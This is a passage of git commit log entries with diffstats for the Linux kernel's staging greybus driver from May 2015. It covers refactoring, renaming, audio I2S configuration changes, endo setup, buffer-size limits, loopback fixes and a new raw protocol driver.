drivers/staging/greybus/greybus_manifest.h | 4 ++-- 6 files changed, 12 insertions(+), 11 deletions(-) commit 2de1a8b1a95ce36288b66a9b7c9f08ea82061b5f Author: Alex Elder Date: Fri May 22 12:59:15 2015 -0500 greybus: add copyright statements The Greybus audio source files included no copyright statements. Add them. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-dai.c | 9 +++++++++ drivers/staging/greybus/audio-gb-cmds.c | 9 +++++++++ drivers/staging/greybus/audio-pcm.c | 9 +++++++++ drivers/staging/greybus/audio.c | 9 +++++++++ drivers/staging/greybus/audio.h | 9 +++++++++ 5 files changed, 45 insertions(+) commit eb765e4e91c8614c11ef2c4af7ce1222a30d6b79 Author: Alex Elder Date: Fri May 22 12:56:49 2015 -0500 greybus: core: don't set up endo until host device is initialized Currently, the data structure representing an Endo is set up at the time a host device gets created. This is too early. Once the control infrastructure is in place, there's no sense in setting up the Endo utnil after we have heard from the SVC via a probe operation on our control CPort. And even then, there's no real point until we've successfully authenticated with the SVC, which will be indicated by the arrival of the Control protocol "connected" operation request notifying us that our SVC CPort is operational. In addition to this logical argument, we also can't actually receive any messages on the Control CPort until the host device is set up and ready to receive messages. At the point we're currently setting up the Endo data structure, that has not yet been done. Define a new exported function greybus_endo_setup(), which will be used (for now) as the entry point for setting up the Endo data structure. Arrange to call it in the host USB driver probe method, *after* we are set up for handling messages. Note: Once the control protocol has been implemented, this function may no longer need to be exported. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 22 +++++++++++++--------- drivers/staging/greybus/es1.c | 13 +++++++++++++ drivers/staging/greybus/es2.c | 13 +++++++++++++ drivers/staging/greybus/greybus.h | 2 ++ 4 files changed, 41 insertions(+), 9 deletions(-) commit 344943d2cdd85347637d0f3691c8c8bd34432247 Author: Alex Elder Date: Fri May 22 12:56:48 2015 -0500 greybus: endo: record AP interface id The AP resides in a particular position on an Endo, which is identified by an interface ID. (For now we'll assume the AP uses just one interface.) Record the this AP interface ID when creating an Endo. Add a sysfs attribute to display it as well. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 5 +++-- drivers/staging/greybus/endo.c | 19 +++++++++++++++++-- drivers/staging/greybus/endo.h | 4 +++- 3 files changed, 23 insertions(+), 5 deletions(-) commit e45524f849434074ff91d75bb9360a08aa535ba4 Author: Alex Elder Date: Fri May 22 12:56:47 2015 -0500 greybus: endo: rework some attributes The SVC is not the same as the Endo. There are some attributes (such as the Endo ID) that are independent of attributes of the SVC (like its version). The current "Endo attributes" are really SVC attributes. Rename a few functions and variables to reflect that. Add a new attribute group for Endo-specific attributes, and populate it with the Endo ID. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 40 +++++++++++++++++++++++++++++++--------- 1 file changed, 31 insertions(+), 9 deletions(-) commit 8a760437229ac327796902098f402ef75955b520 Author: Alex Elder Date: Fri May 22 12:56:46 2015 -0500 greybus: endo: encapsulate computing the max interface id The maximum interface id on an Endo is the result of a non-trivial calculation. It'll be needed for an upcoming patch, so create a macro to compute it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 27 +++++++++++++++++---------- 1 file changed, 17 insertions(+), 10 deletions(-) commit 22e17edaa7c24d254e572738420873813f47efb5 Author: Alex Elder Date: Fri May 22 12:35:32 2015 -0500 greybus: rename "gpbridge.h" The file "gpbridge.h" is now used as a single place to define all protocol message structures. These protocols are not necessarily related to the GP bridge, so the name of the file is misleading. Rename it "greybus_protocols.h". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 492 ---------------------------- drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/greybus_protocols.h | 492 ++++++++++++++++++++++++++++ 3 files changed, 493 insertions(+), 493 deletions(-) commit e9385e5d5ab64a0d05758d84f2980943d3f5f12d Author: Alex Elder Date: Fri May 22 12:35:31 2015 -0500 greybus: include "gpbridge.h" from "greybus.h" Avoid the need for all the source files to include "gpbridge.h" by just having "greybus.h" include it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-dai.c | 2 +- drivers/staging/greybus/audio-gb-cmds.c | 2 +- drivers/staging/greybus/audio-pcm.c | 2 +- drivers/staging/greybus/audio.c | 2 +- drivers/staging/greybus/audio.h | 3 +-- drivers/staging/greybus/gpio.c | 1 - drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/i2c.c | 2 -- drivers/staging/greybus/pwm.c | 2 +- drivers/staging/greybus/spi.c | 1 - 10 files changed, 7 insertions(+), 11 deletions(-) commit 8ea70fe0497c5dd11451e7cf1084844cbdb2a349 Author: Alex Elder Date: Fri May 22 09:52:45 2015 -0500 greybus: core: return error code when creating host device Return a pointer-coded error from greybus_create_hd() rather than NULL in the event an error occurs. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 6 +++--- drivers/staging/greybus/es1.c | 4 ++-- drivers/staging/greybus/es2.c | 4 ++-- 3 files changed, 7 insertions(+), 7 deletions(-) commit 6b7d5a1f47914b2e3917fb764b4b3fe3affe7f94 Author: Alex Elder Date: Fri May 22 09:52:44 2015 -0500 greybus: core: return error code when creating endo Return a pointer-coded error from gb_endo_create() rather than just a null pointer in the event an error occurs. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 6 ++++-- drivers/staging/greybus/endo.c | 12 ++++++++---- 2 files changed, 12 insertions(+), 6 deletions(-) commit ee3ecf80284d973e491e653f74b2fd936c50bd2c Author: Alex Elder Date: Fri May 22 09:52:43 2015 -0500 greybus: endo: pass endo_id to gb_endo_create() We are going to want to defer creating the endo until we receive a probe operation from the SVC, which will supply the endo id. Change gb_endo_create() so it passes the endo_id value as an argument. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 ++- drivers/staging/greybus/endo.c | 3 +-- drivers/staging/greybus/endo.h | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit a702a09f20be5f52ea1789b92a228592f4777084 Author: Alex Elder Date: Fri May 22 09:52:42 2015 -0500 greybus: endo: rename gb_svc Change the name of "struct gb_svc" to be "struct svc_info". The structure now contains only the SVC's serial number and version (and are place holders anyway). We will be defining a structure that represents the SVC for the SVC protocol connection, and I want to take back that name. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 8 ++++---- drivers/staging/greybus/endo.h | 6 +++--- 2 files changed, 7 insertions(+), 7 deletions(-) commit 0d17e0c9f164d9c56471438b51ad75f4e894effa Author: Mark A. Greer Date: Thu May 21 15:57:04 2015 -0700 greybus: gb-audio: Set samples per message during init A recent commit moved the I2S samples per message operation to the PCM's 'hw_params' callback. However, the 'hw_params' callback is called numerous times while the samples per message need only be done once (or seldom). Eliminate the unnecessary samples per message operations by doing it only once at Greybus protocol init time. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-gb-cmds.c | 9 +-------- drivers/staging/greybus/audio.c | 7 +++++++ 2 files changed, 8 insertions(+), 8 deletions(-) commit 6b34099ec326e6c94fc5cf3ce3e1e4a9877c43ea Author: Mark A. Greer Date: Thu May 21 15:57:03 2015 -0700 greybus: gb-audio: Set I2S Configuration according to ASOC requests Currently, the audio driver unconditionally sets the I2S configuration to have a sample rate of 48KHz, two channels, 16 bits per channel, in little endian order. Make this more flexible by setting the I2S configuration according to the arguments passed to the PCM 'hw_params' callback. To accomplish this, query for the supported I2S configurations at Greybus protocol init time and save them in the 'snd_dev' structure. When the 'hw_params' callback is called, compare its arguments to the table of supported configurations. If there is a match, set the I2S connection accordingly. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-gb-cmds.c | 79 ++++++++++++++++++++------------- drivers/staging/greybus/audio-pcm.c | 15 +++++++ drivers/staging/greybus/audio.c | 12 ++++- drivers/staging/greybus/audio.h | 8 +++- 4 files changed, 80 insertions(+), 34 deletions(-) commit 48229e592f95b4d0071f7711bd4c0e54104724e4 Author: Mark A. Greer Date: Thu May 21 15:57:02 2015 -0700 greybus: gb-audio: Activate TX connection Bundle CPort ID Currently, the audio driver activates & deactivates a predefined CPort ID but that can vary depending on the manifest data of the module. Instead, use the TX connection's Bundle CPort ID which contains the correct CPort ID. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-pcm.c | 6 +++--- drivers/staging/greybus/audio.h | 1 - 2 files changed, 3 insertions(+), 4 deletions(-) commit f9a4fee7fad79d46ef6a3b0142bed35638c8d620 Author: Mark A. Greer Date: Thu May 21 15:57:01 2015 -0700 greybus: gb-audio: Activate TX CPort in PCM workqueue Currently, the I2S TX CPort is configured and activated during the Greybus audio initialization. Unfortunately, this prevents the audio driver from ever changing the I2S configuration. To allow the I2S configuration to change according to ASOC requests, move the CPort activation & deactivation to the audio-pcm workqueue. Now, when audio is running but the CPort is not active, it will be activated. When audio is not running and the CPort is active, it will be deactivated. This has the side-effect of sending the first piece of audio data immediately after activating the CPort which is really how it should work anyway. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-gb-cmds.c | 11 +---------- drivers/staging/greybus/audio-pcm.c | 24 ++++++++++++++++++++++-- drivers/staging/greybus/audio.c | 10 +--------- drivers/staging/greybus/audio.h | 1 + 4 files changed, 25 insertions(+), 21 deletions(-) commit e803cf712c48e2923b89e134adde56a004a99722 Author: Mark A. Greer Date: Thu May 21 15:57:00 2015 -0700 greybus: gb-audio: Remove useless comment Remove comment about adding start delay since it will be done when support for A/V synchronization is added. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-gb-cmds.c | 1 - 1 file changed, 1 deletion(-) commit 415b83111caac7cd1b90e0df104f81bae8e6e4dd Author: Mark A. Greer Date: Thu May 21 15:56:59 2015 -0700 greybus: gb-audio: Add I2C device for rt5647 codec Add the I2C device node for the rt5647 codec. Eventually, this will be done automatically somewhere else but for now its done in the audio driver. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio.c | 20 +++++++++++++++++++- drivers/staging/greybus/audio.h | 2 ++ 2 files changed, 21 insertions(+), 1 deletion(-) commit 827e27e8fe3cf1ce29343ed87e042075194ac6ca Author: Mark A. Greer Date: Thu May 21 15:56:58 2015 -0700 greybus: gb-audio: cpu_dai.fmt does not exist in v4.1 The asoc_simple_dai structure does not contain the 'fmt' member in Linux kernel version v4.1 and later so only build code that uses it when the kernel version is earlier than v4.1. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio.c | 2 ++ 1 file changed, 2 insertions(+) commit 4c739e3adad46aded0428144681fdaa6437b9e84 Author: Mark A. Greer Date: Thu May 21 15:56:57 2015 -0700 greybus: gb-audio: Fix DAI formats and master/slave settings Set the various DAI formats so the bridge on the module is the master of all clocks and the codec is the slave. The only DAI protocol currently supported is I2S. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 34aa7e1cadef05f9494ff1f0c4977e762d9f32fa Author: Mark A. Greer Date: Thu May 21 15:56:56 2015 -0700 greybus: gb-audio: Clean up codec name generation Instead of using the fixed suffix, '6-001b', in the codec name, generate it from the I2S adapter number and I2C address of the codec. Signed-off-by: Mark A. Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio.c | 6 +++++- drivers/staging/greybus/audio.h | 1 - 2 files changed, 5 insertions(+), 2 deletions(-) commit 555a0645b17114c559a2079ed64a8edb079b2339 Author: Mark A. Greer Date: Thu May 21 15:54:48 2015 -0700 greybus: gb-audio: Allocate space for 20 configurations The greybus code requires that an operation's response buffer be the exact size of the response; however, the size of the response to the GB_I2S_MGMT_TYPE_GET_SUPPORTED_CONFIGURATIONS operation is unknown. To fix this, an extension to the I2S specification is required. In the meantime, set the number of configurations returned to 20 because that is how many configurations will be returned (using "insider knowledge" of the firmware). Signed-off-by: Mark A. Greer Tested-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0e995aab21dc4a74a4e2daca5df027937cb0b975 Author: Mark A. Greer Date: Thu May 21 15:54:27 2015 -0700 greybus: gb-audio: Set clock edges to match rt5647 codec requirements The rt5647 codec on speaker and mediabar modules require that the following clock edge settings: ll_wclk_change_edge GB_I2S_MGMT_EDGE_FALLING ll_wclk_tx_edge GB_I2S_MGMT_EDGE_RISING ll_wclk_rx_edge GB_I2S_MGMT_EDGE_FALLING (Those are the setting that work, at least). So make the Greybus audio driver configure the GPBridge with those settings. Signed-off-by: Mark A. Greer Tested-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-gb-cmds.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 8d346df0620eaeddfa1333d413596898fa7e576a Author: Johan Hovold Date: Thu May 21 11:47:24 2015 +0200 greybus: gpbridge: fix section mismatches Fix section mismatches introduced by b27227ce93c0 ("greybus: Use gb_gpbridge_protocol_init()"), which added __exit annotation to gpbridge-protocol exit functions that are called in the error path of gpbridge_init, which lives in the init section. This triggered the following modpost warning: WARNING: modpost: Found 8 section mismatch(es). Fixes: 16b33d100bff ("protocol: Add gb_gpbridge_protocol_driver()") Fixes: b27227ce93c0 ("greybus: Use gb_gpbridge_protocol_init()") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d52b35f6b62c8b9e1b7e10010daa0370f8252f1d Author: Johan Hovold Date: Tue May 19 11:22:46 2015 +0200 greybus: operation: add helper to retrieve max payload size Add helper to retrieve the maximum payload size for operations on a specific connection. Note that the helper is not inlined due to how the header files are currently organised, but it is not expected to be called after a connection has been initialised either. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 8 ++++++++ drivers/staging/greybus/operation.h | 1 + 2 files changed, 9 insertions(+) commit 8e929a8230794c4b034d0f4b658aa03702f3800d Author: Johan Hovold Date: Tue May 19 11:22:45 2015 +0200 greybus: core: add lower-limit for host-device buffers Make sure we never end up with a host device with maximum buffer size smaller than the shortest Greybus message. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 5 +++++ drivers/staging/greybus/operation.h | 1 + 2 files changed, 6 insertions(+) commit c38cf10bbe35ba6fa10437809585fd4d0b3b604d Author: Johan Hovold Date: Tue May 19 11:22:44 2015 +0200 greybus: operation: allow maximum-sized messages Increase the maximum allowed buffer size to the full 16-bit range supported by the protocol. Note that host devices will generally use smaller buffers than the maximum. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d933667a1e44be0d3fa137ec31686303c42c16fc Author: Johan Hovold Date: Tue May 19 11:22:43 2015 +0200 greybus: fix host-device buffer constraints Host devices impose buffer-size constraints on Greybus core which are taken into account when allocating messages. Make sure to verify these constraints when the host device is allocated, rather than when the first message is allocated. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 14 +++++++++++++- drivers/staging/greybus/es1.c | 21 +-------------------- drivers/staging/greybus/es2.c | 21 +-------------------- drivers/staging/greybus/greybus.h | 3 ++- drivers/staging/greybus/operation.c | 15 --------------- drivers/staging/greybus/operation.h | 2 ++ 6 files changed, 19 insertions(+), 57 deletions(-) commit d966820f2c28c621d4912a8277fa43a69242e8d5 Author: Johan Hovold Date: Tue May 19 11:22:42 2015 +0200 greybus: remove unused prototypes from header Remove a couple of unused function prototypes from the greybus header file. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 3 --- 1 file changed, 3 deletions(-) commit fed78bf6a2452cfb9ef997779c73175a1933206c Author: Johan Hovold Date: Tue May 19 11:22:41 2015 +0200 greybus: remove unnecessary greybus.h includes Remove unnecessary greybus.h include from header files. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 2 -- drivers/staging/greybus/protocol.h | 3 +-- 2 files changed, 1 insertion(+), 4 deletions(-) commit bdac599c70409bbf48e77971e2b9ecc2a66ef151 Author: Viresh Kumar Date: Wed May 20 17:20:10 2015 +0530 greybus: Use gb_gpbridge_protocol_init() Start using gb_gpbridge_protocol_init() in gpbridge drivers. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 10 +--------- drivers/staging/greybus/hid.c | 10 +--------- drivers/staging/greybus/i2c.c | 10 +--------- drivers/staging/greybus/pwm.c | 10 +--------- drivers/staging/greybus/sdio.c | 10 +--------- drivers/staging/greybus/spi.c | 10 +--------- drivers/staging/greybus/uart.c | 10 +--------- drivers/staging/greybus/usb.c | 10 +--------- 8 files changed, 8 insertions(+), 72 deletions(-) commit 27551b1d5f9bc99881915adc558c2c6113846a40 Author: Viresh Kumar Date: Wed May 20 17:20:09 2015 +0530 greybus: protocol: Add gb_gpbridge_protocol_driver() There are many gpbridge protocol drivers that need gb_protocol_driver() without the module_init/exit() lines. Lets create one for them. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.h | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit f5db53b4c764ca4d1b1f1ca2bea5e276fc3befe1 Author: Viresh Kumar Date: Wed May 20 16:56:46 2015 +0530 greybus: gpbridge: rename gpb.c to gpbridge.c That's what followed for .h, etc.. Rename for better consistency. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/gpb.c | 98 -------------------------------------- drivers/staging/greybus/gpbridge.c | 98 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 99 insertions(+), 99 deletions(-) commit 8ba2522fa8397c894c2d42ed3461e23862ea6a45 Author: Viresh Kumar Date: Wed May 20 16:54:22 2015 +0530 greybus: raw: move module_{init|exit} to the end of functions This is what coding guidelines say. Lets do it. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/raw.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c16b63e851e1100e670ab47a094e8c414996e6f9 Author: Viresh Kumar Date: Wed May 20 16:48:04 2015 +0530 greybus: module: name routines consistently Routines should be named this way: gb__. Fix all routines that don't match this. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 51b5d8d783fe8ee6b272f09ef645747e53166c7f Author: Viresh Kumar Date: Wed May 20 17:33:51 2015 +0530 greybus: interface: name routines consistently Routines should be named this way: gb__. Fix all routines that don't match this. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 4 ++-- drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/interface.c | 12 ++++++------ drivers/staging/greybus/interface.h | 6 +++--- 4 files changed, 12 insertions(+), 12 deletions(-) commit 5ddf738e944b652e8d2ddb17f97c0c72ee05667c Author: Viresh Kumar Date: Wed May 20 16:48:01 2015 +0530 greybus: endo: name routines consistently Routines should be named this way: gb__. Fix all routines that don't match this. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 12eba9f8ef4e71eed17b08b89835c758c2a0c473 Author: Viresh Kumar Date: Wed May 20 16:48:00 2015 +0530 greybus: connection: name routines consistently Routines should be named this way: gb__. Fix all routines that don't match this. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ++-- drivers/staging/greybus/connection.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 8fd46587dbc478168d799fb12828801250086ced Author: Viresh Kumar Date: Wed May 20 16:47:59 2015 +0530 greybus: protocol: remove leading underscore from _gb_protocol_find() Remove the unnecessary underscore from _gb_protocol_find(). Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 4890f31966a6991e7652f8a365ff59c1ba313c9d Author: Viresh Kumar Date: Wed May 20 16:33:57 2015 +0530 greybus: spi: Move structure definitions into gpbridge.h In order to facilitate re-use of spi structures, split them out of independent files and add them into a shared gpbridge.h This will be a prereq to sharing these headers w/ gbsim. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 86 ++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/spi.c | 84 +------------------------------------ 2 files changed, 87 insertions(+), 83 deletions(-) commit 8de925b973263694edcb13aa30f2fe0273163c0f Author: Viresh Kumar Date: Wed May 20 16:32:28 2015 +0530 greybus: gpio: fix tab/space mistake Spaces were present in place of tab. Fix that. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4f8ab1105da2f13ae52dc2f2c31fb7bea1301793 Author: Viresh Kumar Date: Wed May 20 16:31:19 2015 +0530 greybus: raw: include uaccess.h to fix warning This is what I get over mainline: greybus/raw.c: In function 'gb_raw_send': greybus/raw.c:153:2: error: implicit declaration of function 'copy_from_user' [-Werror=implicit-function-declaration] if (copy_from_user(&request->data[0], data, len)) { ^ greybus/raw.c: In function 'raw_read': greybus/raw.c:305:2: error: implicit declaration of function 'copy_to_user' [-Werror=implicit-function-declaration] if (copy_to_user(buf, &raw_data->data[0], raw_data->len)) { ^ Fix this by including uaccess.h. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/raw.c | 1 + 1 file changed, 1 insertion(+) commit e806c7fb8e9bae87fc23958c3789f2c2f96f54a4 Author: Greg Kroah-Hartman Date: Fri May 8 15:50:17 2015 +0200 greybus: raw: add raw greybus kernel driver This adds a driver that implements the greybus Raw protocol as specified. It preserves the message boundries by only allowing a read to receive a "full" message, and any write() call also is passed in a single greybus request. Totally untested, given that we have no raw firmware or gbsim code yet. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Rui Miguel Silva drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/raw.c | 370 +++++++++++++++++++++++++++++ 3 files changed, 373 insertions(+) commit 5bd5f00c30fa8be047e7905739dcf6ff689718c4 Author: Greg Kroah-Hartman Date: Thu May 14 10:40:02 2015 -0700 greybus: connection: remove lock around ida_simple_* functions ida_simple_* has a built-in spinlock, no need to grab another lock when accessing it. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/connection.c | 4 ---- 1 file changed, 4 deletions(-) commit 6b17492eee00cbaac20b8431e8fa63f137a9ca5c Author: Greg Kroah-Hartman Date: Thu May 14 10:39:35 2015 -0700 greybus: vibrator: convert idr to be an ida All we need is a simple ida, so use that interface instead of the more "complex" idr one. Bonus is we don't need to fix the locking issue I forgot about when using an idr, as ida has one built-in. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/vibrator.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 6f8528e0bea76850a153a98e47ad60aecf112801 Author: Phong Tran Date: Thu May 14 23:03:04 2015 +0700 greybus: loopback: add more clean up when init connection fails It should remove the object from sysfs when loopback connection init error. Signed-off-by: Phong Tran Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 65cac604b21ae8c99bd501b369c254707f51c252 Author: Rui Miguel Silva Date: Wed May 13 18:59:00 2015 +0100 greybus: make: check kernel configuration options Add checks for options that shall be enabled in the kernel config and for options that shall be disable. To add options to list append them to CONFIG_OPTIONS_ENABLE or CONFIG_OPTIONS_DISABLE respectively. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit ac1c2840bd41e89d55fccabe86cf9a3e2d56a652 Author: Alex Elder Date: Mon May 11 21:16:39 2015 -0500 greybus: loopback: support module-initiated requests There's no reason we can't support loopback pings or transfers initiated by the module. Allow it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 44 +++++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) commit 48cc8b8bbaf0a6767380e4e2e55df3258e47bef6 Author: Alex Elder Date: Mon May 11 21:16:38 2015 -0500 greybus: loopback: define loopback functions symbolically Add some symbols to indicate what kind of "function" the loopback thread is supposed to be performing--the type of traffic it generates over its connection. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 91262c3ab70a02949db294b55b4cd49b8ae6505e Author: Alex Elder Date: Mon May 11 21:16:37 2015 -0500 greybus: loopback: symbolically define max wait time Use a symbolic constant to define the maximum time (number of milliseconds) to delay between initiated operations. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 48f19ee8244776a8e7fb47bac1a2b09e9920d035 Author: Alex Elder Date: Mon May 11 21:16:36 2015 -0500 greybus: loopback: fix an incorrect comment Fix a comment that incorrectly says the delay between messages is limited to 1024 msec; it actually must be <= 1000 msec. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 69f6034792faf0f930f3797a0a3c3c9cf9ac73cc Author: Alex Elder Date: Mon May 11 21:16:35 2015 -0500 greybus: loopback: return the right error value If an error occurs starting up the loopback thread, the error code is not extracted properly. Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a04c640e5cf342a491afc06b0d931b7a046aa76b Author: Alex Elder Date: Mon May 11 21:16:34 2015 -0500 greybus: loopback: fix the type attribute check In gb_loopback_check_attr(), the value of gb->type is checked for validity. The only valid values are 0, 1, and 2. But the check allows the value 3. Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 64a54801ae806d482d72fce9583cce7409ec146c Author: Greg Kroah-Hartman Date: Mon May 11 14:09:32 2015 -0700 greybus: audio: fix a bunch of endian issues sparse is rightfully complaining about a lack of converting when accessing or assigning to little endian fields. Fix them all up to work properly. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/audio-gb-cmds.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 13956900b069c98a7c97e32d2f18afa11dcf725c Author: Greg Kroah-Hartman Date: Mon May 11 14:09:09 2015 -0700 greybus: audio: fix some sparse static warnings This makes some functions and structures static, as warned by sparse, as they don't need to be global. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/audio-dai.c | 2 +- drivers/staging/greybus/audio-pcm.c | 2 +- drivers/staging/greybus/audio.c | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) commit 563e6b97b87c18ec0d0d1fc541d59d1ee0842a39 Author: Rui Miguel Silva Date: Mon May 11 19:22:03 2015 +0100 greybus: manifest: be coherent with protocol name remane protocol define from GREYBUS_PROTOCOL_LED to GREYBUS_PROTOCOL_LIGHTS to be coherent with the specification. Signed-off-by: Rui Miguel Silva Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 51e93aea65cdab93ae013b87a7e6b3a9eccef5ad Author: Viresh Kumar Date: Fri May 8 12:58:51 2015 +0530 greybus: endo: Create modules after validating Endo ID We already have code to parse Endo ID, lets use it to create modules at run time instead of creating them from a static array. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 105 +++++++++++++++++++++--------------- drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/module.c | 14 ++--- drivers/staging/greybus/module.h | 2 - 4 files changed, 66 insertions(+), 57 deletions(-) commit 4f4cc1bf070e05d4ee54e569e7ec87168fa8e284 Author: Viresh Kumar Date: Fri May 8 12:58:50 2015 +0530 greybus: endo: Add code to validate Endo 